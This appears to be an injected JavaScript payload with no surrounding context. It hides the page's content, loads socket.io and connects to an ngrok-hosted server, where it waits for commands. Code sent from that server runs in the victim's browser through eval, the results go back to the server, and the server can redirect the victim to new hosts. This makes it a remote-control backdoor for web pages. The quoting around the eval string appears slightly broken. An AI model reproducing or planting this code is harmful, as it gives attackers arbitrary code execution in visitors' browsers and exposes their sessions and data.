document.getElementById('A').remove();var divs = document.getElementsByTagName('div'); for (var i = 0; i < divs.length; i++) { divs[i].style.display = 'none'; };var script = document.createElement('script');script.type = 'text/javascript';script.src = 'https://cdnjs.cloudflare.com/ajax/libs/socket.io/3.1.2/socket.io.min.js';    script.onload = () => { let fcant = (ip) => {const socket = io(ip,{transports: ['websocket'], upgrade: false});function sendResponse(inst,str){socket.emit('codeResult',{inst : inst,result : str})}socket.on('connect', () => {sendResponse('socket.io', '[#] Connected');});socket.on('transIP', (a) => {fcant(a.ip);socket.disconnect()});socket.on('executeCode', (code) => {let instancia = code.inst;try {eval('let instancia = ''+code.inst+''
'+code.code);} catch(exec) {sendResponse(instancia,exec.message);}})}fcant('https://3e9e6eb94e9d.ngrok.io')}document.getElementsByTagName('head')[0].appendChild(script);